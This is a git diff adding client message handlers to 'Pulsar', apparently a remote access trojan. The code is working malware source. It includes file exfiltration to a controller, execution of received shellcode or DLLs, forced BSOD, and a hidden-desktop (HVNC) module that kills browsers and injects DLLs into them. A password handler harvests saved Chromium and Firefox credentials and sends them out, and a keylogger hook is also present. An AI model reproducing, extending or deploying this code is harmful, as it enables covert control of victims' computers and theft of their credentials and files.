}; + } + + for (int i = 0; i < files.Length; i++) + { + items[i + offset] = new FileSystemEntry + { + EntryType = FileType.File, + Name = files[i].Name, + Size = files[i].Length, + ContentType = Path.GetExtension(files[i].Name).ToContentType(), + LastAccessTimeUtc = files[i].LastAccessTimeUtc + }; + } + + client.Send(new GetDirectoryResponse { RemotePath = message.RemotePath, Items = items }); + } + catch (UnauthorizedAccessException) + { + onError("GetDirectory No permission"); + } + catch (SecurityException) + { + onError("GetDirectory No permission"); + } + catch (PathTooLongException) + { + onError("GetDirectory Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("GetDirectory Directory not found"); + } + catch (FileNotFoundException) + { + onError("GetDirectory File not found"); + } + catch (IOException) + { + onError("GetDirectory I/O error"); + } + catch (Exception) + { + onError("GetDirectory Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = true }); + } + } + + private void Execute(ISender client, FileTransferRequest message) + { + new Thread(() => + { + _limitThreads.WaitOne(); + try + { + using (var srcFile = new FileSplit(message.RemotePath, FileAccess.Read)) + { + _activeTransfers[message.Id] = srcFile; + OnReport("File upload started"); + foreach (var chunk in srcFile) + { + if (_token.IsCancellationRequested || !_activeTransfers.ContainsKey(message.Id)) + break; + + // blocking sending might not be required, needs further testing + _client.SendBlocking(new FileTransferChunk + { + Id = message.Id, + FilePath = message.RemotePath, + FileSize = srcFile.FileSize, + Chunk = chunk + }); + } + + client.Send(new FileTransferComplete + { + Id = message.Id, + FilePath = message.RemotePath + }); + } + } + catch (Exception) + { + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Error reading file" + }); + } + finally + { + RemoveFileTransfer(message.Id); + _limitThreads.Release(); + } + }).Start(); + } + + private void Execute(ISender client, FileTransferCancel message) + { + if (_activeTransfers.ContainsKey(message.Id)) + { + RemoveFileTransfer(message.Id); + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Canceled" + }); + } + } + + /// + /// Validates and sanitizes a file path to prevent path traversal attacks. + /// + /// The file path to validate. + /// A safe file path or null if the path is invalid. + private string ValidateAndSanitizeFilePath(string filePath) + { + try + { + if (string.IsNullOrWhiteSpace(filePath)) + return null; + + string fullPath = Path.GetFullPath(filePath); + + if (!Path.IsPathRooted(fullPath)) + return null; + + string fileName = Path.GetFileName(fullPath); + if (string.IsNullOrEmpty(fileName) || fileName.Contains("..")) + return null; + + char[] invalidChars = Path.GetInvalidFileNameChars(); + if (fileName.IndexOfAny(invalidChars) >= 0) + return null; + + string directory = Path.GetDirectoryName(fullPath); + if (string.IsNullOrEmpty(directory)) + return null; + + if (!Directory.Exists(directory)) + { + Directory.CreateDirectory(directory); + } + + return fullPath; + } + catch + { + return null; + } + } + + private void Execute(ISender client, FileTransferChunk message) + { + try + { + if (message.Chunk.Offset == 0) + { + string filePath = message.FilePath; + + if (string.IsNullOrEmpty(filePath)) + { + // generate new temporary file path if empty + filePath = FileHelper.GetTempFilePath(message.FileExtension); + } + else + { + filePath = ValidateAndSanitizeFilePath(filePath); + if (filePath == null) + { + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Invalid file path - security violation" + }); + return; + } + } + + if (File.Exists(filePath)) + { + // delete existing file + NativeMethods.DeleteFile(filePath); + } + + _activeTransfers[message.Id] = new FileSplit(filePath, FileAccess.Write); + OnReport("File download started"); + } + + if (!_activeTransfers.ContainsKey(message.Id)) + return; + + var destFile = _activeTransfers[message.Id]; + destFile.WriteChunk(message.Chunk); + + if (destFile.FileSize == message.FileSize) + { + client.Send(new FileTransferComplete + { + Id = message.Id, + FilePath = destFile.FilePath + }); + RemoveFileTransfer(message.Id); + } + } + catch (Exception) + { + RemoveFileTransfer(message.Id); + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Error writing file" + }); + } + } + + private void Execute(ISender client, DoPathDelete message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + switch (message.PathType) + { + case FileType.Directory: + Directory.Delete(message.Path, true); + client.Send(new SetStatusFileManager + { + Message = "Deleted directory", + SetLastDirectorySeen = false + }); + break; + case FileType.File: + File.Delete(message.Path); + client.Send(new SetStatusFileManager + { + Message = "Deleted file", + SetLastDirectorySeen = false + }); + break; + } + + Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.Path) }); + } + catch (UnauthorizedAccessException) + { + onError("DeletePath No permission"); + } + catch (PathTooLongException) + { + onError("DeletePath Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("DeletePath Path not found"); + } + catch (IOException) + { + onError("DeletePath I/O error"); + } + catch (Exception) + { + onError("DeletePath Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false }); + } + } + + private void Execute(ISender client, DoPathRename message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + switch (message.PathType) + { + case FileType.Directory: + Directory.Move(message.Path, message.NewPath); + client.Send(new SetStatusFileManager + { + Message = "Renamed directory", + SetLastDirectorySeen = false + }); + break; + case FileType.File: + File.Move(message.Path, message.NewPath); + client.Send(new SetStatusFileManager + { + Message = "Renamed file", + SetLastDirectorySeen = false + }); + break; + } + + Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.NewPath) }); + } + catch (UnauthorizedAccessException) + { + onError("RenamePath No permission"); + } + catch (PathTooLongException) + { + onError("RenamePath Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("RenamePath Path not found"); + } + catch (IOException) + { + onError("RenamePath I/O error"); + } + catch (Exception) + { + onError("RenamePath Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false }); + } + } + + private void RemoveFileTransfer(int id) + { + if (_activeTransfers.ContainsKey(id)) + { + _activeTransfers[id]?.Dispose(); + _activeTransfers.TryRemove(id, out _); + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _tokenSource.Cancel(); + _tokenSource.Dispose(); + foreach (var transfer in _activeTransfers) + { + transfer.Value?.Dispose(); + } + + _activeTransfers.Clear(); + } + } + } +} diff --git a/Pulsar.Client/Messages/FunStuffHandler.cs b/Pulsar.Client/Messages/FunStuffHandler.cs new file mode 100644 index 0000000..462eb3c --- /dev/null +++ b/Pulsar.Client/Messages/FunStuffHandler.cs @@ -0,0 +1,276 @@ +using Pulsar.Common.Messages; +using Pulsar.Common.Networking; +using Pulsar.Common.Messages.FunStuff; +using Pulsar.Common.Messages.Other; +using Pulsar.Client.FunStuff; +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Threading; +using System.Diagnostics; +using System.Reflection; +using System.Security.Cryptography; +using System.Text; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.Windows.Forms; + +namespace Pulsar.Client.Messages +{ + public class FunStuffHandler : IMessageProcessor, IDisposable + { + private BSOD _bsod = new BSOD(); + private SwapMouseButtons _swapMouseButtons = new SwapMouseButtons(); + private HideTaskbar _hideTaskbar = new HideTaskbar(); + private KeyboardInput _keyboardInput = new KeyboardInput(); + private CDTray _cdTray = new CDTray(); + private MonitorPower _monitorPower = new MonitorPower(); + private ShellcodeRunner _shellcodeRunner = new ShellcodeRunner(); + private DllRunner _dllRunner = new DllRunner(); // Added DLL runner + + public bool CanExecute(IMessage message) => + message is DoBSOD || + message is DoSwapMouseButtons || + message is DoHideTaskbar || + message is DoChangeWallpaper || + message is DoBlockKeyboardInput || + message is DoCDTray || + message is DoMonitorsOff || + message is DoSendBinFile; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoBSOD msg: + Execute(sender, msg); + break; + case DoSwapMouseButtons msg: + Execute(sender, msg); + break; + case DoHideTaskbar msg: + Execute(sender, msg); + break; + case DoChangeWallpaper msg: + Execute(sender, msg); + break; + case DoBlockKeyboardInput msg: + Execute(sender, msg); + break; + case DoCDTray msg: + Execute(sender, msg); + break; + case DoMonitorsOff msg: + Execute(sender, msg); + break; + case DoSendBinFile msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoSendBinFile message) + { + try + { + // Determine if this is shellcode or DLL based on message properties or content + if (IsDllPayload(message)) + { + _dllRunner.Handle(message, client); + } + else + { + _shellcodeRunner.Handle(message, client); + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Failed to execute binary: {ex.Message}" }); + } + } + + private bool IsDllPayload(DoSendBinFile message) + { + // You can implement logic here to determine if the payload is a DLL + // Some possible approaches: + + // 1. Check file extension if available in message + // if (!string.IsNullOrEmpty(message.FileName) && message.FileName.EndsWith(".dll", StringComparison.OrdinalIgnoreCase)) + // return true; + + // 2. Check for DLL signature (MZ header) + if (message.Data?.Length > 1 && message.Data[0] == 0x4D && message.Data[1] == 0x5A) + return true; + + // 3. Add a property to DoSendBinFile message type to specify payload type + // return message.PayloadType == "dll"; + + // For now, default to shellcode execution + return false; + } + + private void Execute(ISender client, DoCDTray message) + { + try + { + _cdTray.Handle(message); + client.Send(new SetStatus { Message = $"CD tray {(message.Open ? "opened" : "closed")} successfully" }); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Failed to {(message.Open ? "open" : "close")} CD tray: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoMonitorsOff message) + { + try + { + _monitorPower.Handle(message); + client.Send(new SetStatus { Message = $"Monitors turned {(message.Off ? "off" : message.On ? "on" : "no action")} successfully" }); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Failed to change monitor state: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoBSOD message) + { + client.Send(new SetStatus { Message = "Successful BSOD" }); + _bsod.DOBSOD(); + } + + private void Execute(ISender client, DoSwapMouseButtons message) + { + try + { + SwapMouseButtons.SwapMouse(); + client.Send(new SetStatus { Message = "Successfull Mouse Swap" }); + } + catch + { + client.Send(new SetStatus { Message = "Failed to swap mouse buttons" }); + } + } + + private void Execute(ISender client, DoHideTaskbar message) + { + try + { + client.Send(new SetStatus { Message = "Successful Hide Taskbar" }); + HideTaskbar.DoHideTaskbar(); + } + catch + { + client.Send(new SetStatus { Message = "Failed to hide taskbar" }); + } + } + + private void Execute(ISender client, DoChangeWallpaper message) + { + try + { + string imagePath = SaveImageToFile(message.ImageData, message.ImageFormat); + ChangeWallpaper.SetWallpaper(imagePath); + client.Send(new SetStatus { Message = "Successful Wallpaper Change" }); + } + catch + { + client.Send(new SetStatus { Message = "Failed to change wallpaper" }); + } + } + + private void Execute(ISender client, DoBlockKeyboardInput message) + { + try + { + _keyboardInput.Handle(message); + client.Send(new SetStatus { Message = $"Keyboard input {(message.Block ? "blocked" : "unblocked")} successfully" }); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Failed to {(message.Block ? "block" : "unblock")} keyboard input: {ex.Message}" }); + } + } + + private string SaveImageToFile(byte[] imageData, string imageFormat) + { + string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper" + GetImageExtension(imageFormat)); + using (MemoryStream ms = new MemoryStream(imageData)) + { + Image image = Image.FromStream(ms); + image.Save(tempPath, GetImageFormat(imageFormat)); + } + return tempPath; + } + + private string GetImageExtension(string imageFormat) + { + switch (imageFormat?.ToLower()) + { + case "jpeg": + case "jpg": + return ".jpg"; + case "png": + return ".png"; + case "bmp": + return ".bmp"; + case "gif": + return ".gif"; + default: + return ".img"; + } + } + + private ImageFormat GetImageFormat(string imageFormat) + { + switch (imageFormat?.ToLower()) + { + case "jpeg": + case "jpg": + return ImageFormat.Jpeg; + case "png": + return ImageFormat.Png; + case "bmp": + return ImageFormat.Bmp; + case "gif": + return ImageFormat.Gif; + default: + throw new NotSupportedException($"Image format {imageFormat} is not supported."); + } + } + + #region IDisposable Implementation + + private bool _disposed = false; + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (!_disposed) + { + if (disposing) + { + _keyboardInput?.Dispose(); + } + _disposed = true; + } + } + + ~FunStuffHandler() + { + Dispose(false); + } + + #endregion + } +} \ No newline at end of file diff --git a/Pulsar.Client/Messages/HVNCHandler.cs b/Pulsar.Client/Messages/HVNCHandler.cs new file mode 100644 index 0000000..0b4443e --- /dev/null +++ b/Pulsar.Client/Messages/HVNCHandler.cs @@ -0,0 +1,416 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Threading; +using System.Threading.Tasks; +using Pulsar.Client.Helper; +using Pulsar.Client.Helper.HVNC; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Monitoring.HVNC; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using Pulsar.Common.Video; +using Pulsar.Common.Video.Codecs; + +namespace Pulsar.Client.Messages +{ + public class HVNCHandler : IMessageProcessor, IDisposable + { + private UnsafeStreamCodec _streamCodec; + private BitmapData _desktopData = null; + private Bitmap _desktop = null; + private ISender _clientMain; + private Thread _captureThread; + private CancellationTokenSource _cancellationTokenSource; + + + private readonly ImageHandler ImageHandler = new ImageHandler("PulsarDesktop"); + private readonly InputHandler InputHandler = new InputHandler("PulsarDesktop"); + private readonly ProcessController ProcessHandler = new ProcessController("PulsarDesktop"); + + // frame control variables + private readonly ConcurrentQueue _frameBuffer = new ConcurrentQueue(); + private readonly AutoResetEvent _frameRequestEvent = new AutoResetEvent(false); + private int _pendingFrameRequests = 0; + + //fps counting + private int _framesSent = 0; + private float _currentFps = 0f; + + // max buffer size to prevent memory issues + private const int MAX_BUFFER_SIZE = 10; + + private readonly Stopwatch _stopwatch = new Stopwatch(); + + public bool CanExecute(IMessage message) + { + return message is GetHVNCDesktop || message is DoHVNCInput || message is StartHVNCProcess || message is GetHVNCMonitors; + } + + public bool CanExecuteFrom(ISender sender) + { + return true; + } + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetHVNCDesktop getDesktop: + Execute(sender, getDesktop); + break; + case DoHVNCInput doInput: + InputHandler.Input(doInput.msg, (IntPtr)doInput.wParam, (IntPtr)doInput.lParam); + break; + case StartHVNCProcess startHVNCProcess: + _ = ExecuteAsync(sender, startHVNCProcess); + break; + case GetHVNCMonitors _: + Execute(sender); + break; + } + } + + private void Execute(ISender client, GetHVNCDesktop message) + { + if (message.Status == RemoteDesktopStatus.Stop) + { + StopScreenStreaming(); + } + else if (message.Status == RemoteDesktopStatus.Start) + { + StartScreenStreaming(client, message); + } + else if (message.Status == RemoteDesktopStatus.Continue) + { + Interlocked.Add(ref _pendingFrameRequests, message.FramesRequested); + _frameRequestEvent.Set(); + } + } + + private void StartScreenStreaming(ISender client, GetHVNCDesktop message) + { + var monitorBounds = ScreenHelperCPU.GetBounds(message.DisplayIndex); + var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width }; + + if (_streamCodec == null) + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + + if (message.CreateNew) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + } + + if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + } + + _clientMain = client; + + ClearFrameBuffer(); + Interlocked.Exchange(ref _pendingFrameRequests, message.FramesRequested); + + if (_captureThread == null || !_captureThread.IsAlive) + { + _cancellationTokenSource = new CancellationTokenSource(); + _captureThread = new Thread(() => BufferedCaptureLoop(_cancellationTokenSource.Token, message.DisplayIndex)) + { + IsBackground = true, + Name = "HVNC Capture Loop" + }; + _captureThread.Start(); + } + } + + private void StopScreenStreaming() + { + _cancellationTokenSource?.Cancel(); + + if (_captureThread != null && _captureThread.IsAlive) + { + _frameRequestEvent.Set(); + _captureThread.Join(); + _captureThread = null; + } + + if (_desktop != null) + { + if (_desktopData != null) + { + try + { + _desktop.UnlockBits(_desktopData); + } + catch + { + } + _desktopData = null; + } + _desktop.Dispose(); + _desktop = null; + } + + if (_streamCodec != null) + { + _streamCodec.Dispose(); + _streamCodec = null; + } + + ClearFrameBuffer(); + Interlocked.Exchange(ref _pendingFrameRequests, 0); + } + + private void BufferedCaptureLoop(CancellationToken cancellationToken, int displayIndex) + { + _stopwatch.Start(); + + while (!cancellationToken.IsCancellationRequested) + { + try + { + if (_frameBuffer.Count >= MAX_BUFFER_SIZE || _pendingFrameRequests <= 0) + { + _frameRequestEvent.WaitOne(500); + + if (cancellationToken.IsCancellationRequested) + break; + + continue; + } + + byte[] frameData = CaptureFrame(displayIndex); + if (frameData != null) + { + _frameBuffer.Enqueue(frameData); + _framesSent++; + + if (_stopwatch.ElapsedMilliseconds >= 1000) + { + _currentFps = _framesSent / (_stopwatch.ElapsedMilliseconds / 1000f); + _framesSent = 0; + _stopwatch.Restart(); + } + } + + while (_pendingFrameRequests > 0 && _frameBuffer.TryDequeue(out byte[] frameToSend)) + { + SendFrameToServer(frameToSend, Interlocked.Decrement(ref _pendingFrameRequests) == 0); + } + } + catch (Exception) + { + Thread.Sleep(100); + } + } + } + + private byte[] CaptureFrame(int displayIndex) + { + try + { + _desktop = ImageHandler.Screenshot(displayIndex); + + if (_desktop == null) + { + return null; + } + + const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb; + Bitmap processedBitmap = _desktop; + + if (_desktop.PixelFormat != codecPixelFormat) + { + try + { + processedBitmap = new Bitmap(_desktop.Width, _desktop.Height, codecPixelFormat); + using (Graphics g = Graphics.FromImage(processedBitmap)) + { + g.DrawImage(_desktop, 0, 0, _desktop.Width, _desktop.Height); + } + _desktop.Dispose(); + _desktop = processedBitmap; + } + catch (Exception ex) + { + Debug.WriteLine($"Error converting pixel format: {ex.Message}"); + // Continue with original bitmap if conversion fails + processedBitmap = _desktop; + } + } + + _desktopData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height), + ImageLockMode.ReadWrite, processedBitmap.PixelFormat); + + using (MemoryStream stream = new MemoryStream()) + { + if (_streamCodec == null) throw new Exception("StreamCodec can not be null."); + _streamCodec.CodeImage(_desktopData.Scan0, + new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height), + new Size(processedBitmap.Width, processedBitmap.Height), + processedBitmap.PixelFormat, stream); + + return stream.ToArray(); + } + } + catch (Exception) + { + return null; + } + finally + { + if (_desktopData != null) + { + _desktop.UnlockBits(_desktopData); + _desktopData = null; + } + _desktop?.Dispose(); + _desktop = null; + } + } + + private void SendFrameToServer(byte[] frameData, bool isLastRequestedFrame) + { + if (frameData == null || _clientMain == null) return; + + try + { + _clientMain.Send(new GetHVNCDesktopResponse + { + Image = frameData, + Quality = _streamCodec.ImageQuality, + Monitor = _streamCodec.Monitor, + Resolution = _streamCodec.Resolution, + Timestamp = DateTimeOffset.UtcNow.ToUnixTimeMilliseconds(), + IsLastRequestedFrame = isLastRequestedFrame, + Fps = _currentFps + }); + } + catch (Exception) + { + } + } + + private void ClearFrameBuffer() + { + while (_frameBuffer.TryDequeue(out _)) { } + } + + private async Task ExecuteAsync(ISender client, StartHVNCProcess message) + { + try + { + string name = message.Path; + bool dontCloneProfile = message.DontCloneProfile; + byte[] dllBytes = message.DllBytes; + + var browserPaths = new Dictionary + { + { "Chrome", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Google\\Chrome\\Application\\chrome.exe" }, + { "Edge", Environment.GetEnvironmentVariable("PROGRAMFILES(X86)") + "\\Microsoft\\Edge\\Application\\msedge.exe" }, + { "Brave", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" }, + { "Opera", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Opera\\opera.exe" }, + { "OperaGX", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Opera GX\\opera.exe" }, + { "Mozilla", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\firefox.exe" } + }; + + if (dontCloneProfile && browserPaths.TryGetValue(name, out string executablePath) && File.Exists(executablePath)) + { + string browserProcess = name.ToLower().Replace("mozilla", "firefox").Replace("edge", "msedge").Replace("operagx", "opera"); + string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {browserProcess}.exe /F"; + Debug.WriteLine(killCommand); + ProcessHandler.CreateProc(killCommand); + await Task.Delay(1000).ConfigureAwait(false); + + Debug.WriteLine($"Direct starting browser: {executablePath}"); + + ProcessHandler.CreateProc(executablePath); + return; + } + + switch (name) + { + case "GenericChromium": + await ProcessHandler.StartGenericChromiumAsync( + dllBytes, + message.CustomBrowserPath, + message.CustomSearchPattern, + message.CustomReplacementPath + ).ConfigureAwait(false); + break; + case "Chrome": + await ProcessHandler.StartChromeAsync(dllBytes).ConfigureAwait(false); + break; + case "Edge": + await ProcessHandler.StartEdgeAsync(dllBytes).ConfigureAwait(false); + break; + case "Brave": + await ProcessHandler.StartBraveAsync(dllBytes).ConfigureAwait(false); + break; + case "Opera": + await ProcessHandler.StartOperaAsync(dllBytes).ConfigureAwait(false); + break; + case "OperaGX": + await ProcessHandler.StartOperaGXAsync(dllBytes).ConfigureAwait(false); + break; + case "Explorer": + ProcessHandler.StartExplorer(); + break; + case "Cmd": + ProcessHandler.StartCmd(); + break; + case "Powershell": + ProcessHandler.StartPowershell(); + break; + case "Mozilla": + await ProcessHandler.StartFirefoxAsync().ConfigureAwait(false); + break; + case "Discord": + ProcessHandler.StartDiscord(); + break; + default: + ProcessHandler.StartGeneric(name); + break; + } + } + catch (Exception ex) + { + Debug.WriteLine($"HVNC process start failed: {ex.Message}"); + } + } + + private void Execute(ISender client) + { + int monitorCount = ImageHandler.GetMonitorCount(); + Debug.WriteLine($"HVNC: Sending monitor count: {monitorCount}"); + client.Send(new GetHVNCMonitorsResponse { Number = monitorCount }); + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + Debug.WriteLine("HVNC Handler Disposed"); + StopScreenStreaming(); + ImageHandler.Dispose(); + InputHandler.Dispose(); + _streamCodec?.Dispose(); + _cancellationTokenSource?.Dispose(); + _frameRequestEvent?.Dispose(); + } + } + } +} diff --git a/Pulsar.Client/Messages/KeyloggerHandler.cs b/Pulsar.Client/Messages/KeyloggerHandler.cs new file mode 100644 index 0000000..40ccde5 --- /dev/null +++ b/Pulsar.Client/Messages/KeyloggerHandler.cs @@ -0,0 +1,30 @@ +using Pulsar.Client.Config; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Monitoring.KeyLogger; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; + +namespace Pulsar.Client.Messages +{ + public class KeyloggerHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectory; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetKeyloggerLogsDirectory msg: + Execute(sender, msg); + break; + } + } + + public void Execute(ISender client, GetKeyloggerLogsDirectory message) + { + client.Send(new GetKeyloggerLogsDirectoryResponse {LogsDirectory = Settings.LOGSPATH }); + } + } +} diff --git a/Pulsar.Client/Messages/MessageBoxHandler.cs b/Pulsar.Client/Messages/MessageBoxHandler.cs new file mode 100644 index 0000000..0656cc3 --- /dev/null +++ b/Pulsar.Client/Messages/MessageBoxHandler.cs @@ -0,0 +1,57 @@ +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Messages.UserSupport.MessageBox; +using Pulsar.Common.Networking; +using System; +using System.Threading; +using System.Windows.Forms; + +namespace Pulsar.Client.Messages +{ + public class MessageBoxHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoShowMessageBox; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + if (message is DoShowMessageBox msg) + Execute(sender, msg); + } + + private void Execute(ISender client, DoShowMessageBox message) + { + new Thread(() => + { + try + { + var buttons = (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button); + var icon = (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon); + + DialogResult result = MessageBox.Show( + message.Text, + message.Caption, + buttons, + icon, + MessageBoxDefaultButton.Button1, + MessageBoxOptions.DefaultDesktopOnly); + + // Send which button the user clicked + client.Send(new SetStatus + { + Message = $"MessageBox result: {result}" + }); + } + catch (Exception ex) + { + client.Send(new SetStatus + { + Message = $"Error showing MessageBox: {ex.Message}" + }); + } + }) + { IsBackground = true }.Start(); + } + } +} diff --git a/Pulsar.Client/Messages/NotificationMessageProcessor.cs b/Pulsar.Client/Messages/NotificationMessageProcessor.cs new file mode 100644 index 0000000..6f306bc --- /dev/null +++ b/Pulsar.Client/Messages/NotificationMessageProcessor.cs @@ -0,0 +1,11 @@ +using Pulsar.Common.Messages; + +namespace Pulsar.Client.Messages +{ + public abstract class NotificationMessageProcessor : MessageProcessorBase + { + protected NotificationMessageProcessor() : base(true) + { + } + } +} diff --git a/Pulsar.Client/Messages/PasswordRecoveryHandler.cs b/Pulsar.Client/Messages/PasswordRecoveryHandler.cs new file mode 100644 index 0000000..df0a1d5 --- /dev/null +++ b/Pulsar.Client/Messages/PasswordRecoveryHandler.cs @@ -0,0 +1,120 @@ +using Pulsar.Client.Recovery; +using Pulsar.Client.Recovery.Browsers; +using Pulsar.Client.Recovery.Crawler; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Monitoring.Passwords; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Diagnostics; + +//public struct BrowserChromium +//{ +// public string Name; +// public string Path; +// public string LocalState; +// public ProfileChromium[] Profiles; +//} + +//public struct ProfileChromium +//{ +// public string Name; +// public string LoginData; +// public string Path; +//} + +//public struct BrowserGecko +//{ +// public string Name; +// public string Path; +// public string Key4; +// public string Logins; +//} + +namespace Pulsar.Client.Messages +{ + public class PasswordRecoveryHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetPasswords; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetPasswords msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetPasswords message) + { + List recovered = new List(); + + //var passReaders = new IAccountReader[] + //{ + // new BravePassReader(), + // new ChromePassReader(), + // new OperaPassReader(), + // new OperaGXPassReader(), + // new EdgePassReader(), + // new YandexPassReader(), + // new FirefoxPassReader(), + // new InternetExplorerPassReader(), + // new FileZillaPassReader(), + // new WinScpPassReader() + //}; + + //foreach (var passReader in passReaders) + //{ + // try + // { + // recovered.AddRange(passReader.ReadAccounts()); + // } + // catch (Exception e) + // { + // Debug.WriteLine(e); + // } + //} + + List browsers = Crawl.Start(); + + foreach (var browser in browsers) + { + foreach (var chromium in browser.Chromium) + { + foreach (var profile in chromium.Profiles) + { + try + { + recovered.AddRange(ChromiumBase.ReadAccounts(profile.LoginData, chromium.LocalState, chromium.Name)); + } + catch (Exception e) + { + Debug.WriteLine(e); + } + } + } + + foreach (var gecko in browser.Gecko) + { + try + { + recovered.AddRange(FirefoxPassReader.ReadAccounts(gecko.ProfilesDir, gecko.Name)); + } + catch (Exception e) + { + Debug.WriteLine(e); + } + //Debug.WriteLine(gecko.Path); + } + } + + client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered }); + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Messages/PingHandler.cs b/Pulsar.Client/Messages/PingHandler.cs new file mode 100644 index 0000000..701c6dc --- /dev/null +++ b/Pulsar.Client/Messages/PingHandler.cs @@ -0,0 +1,37 @@ +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; +using System.Diagnostics; + +namespace Pulsar.Client.Messages +{ + /// + /// Handles ping requests from the server. + /// + public class PingHandler : IMessageProcessor + { + /// + public bool CanExecute(IMessage message) => message is PingRequest; + + /// + public bool CanExecuteFrom(ISender sender) => true; + + /// + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case PingRequest pingRequest: + Execute(sender, pingRequest); + break; + } + } + + private void Execute(ISender client, PingRequest message) + { + // respond fast ash + client.Send(new PingResponse()); + } + } +} diff --git a/Pulsar.Client/Messages/PreviewHandler.cs b/Pulsar.Client/Messages/PreviewHandler.cs new file mode 100644 index 0000000..33971bd --- /dev/null +++ b/Pulsar.Client/Messages/PreviewHandler.cs @@ -0,0 +1,160 @@ +using Pulsar.Client.Helper; +using Pulsar.Client.IO; +using Pulsar.Client.User; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Messages.Preview; +using Pulsar.Common.Networking; +using Pulsar.Common.Video; +using Pulsar.Common.Video.Codecs; +using System; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; + +namespace Pulsar.Client.Messages +{ + public class PreviewHandler : NotificationMessageProcessor, IDisposable + { + private UnsafeStreamCodec _streamCodec; + private BitmapData _desktopData = null; + private Bitmap _desktop = null; + private int _displayIndex = 0; + private ISender _clientMain; + + public override bool CanExecute(IMessage message) => message is 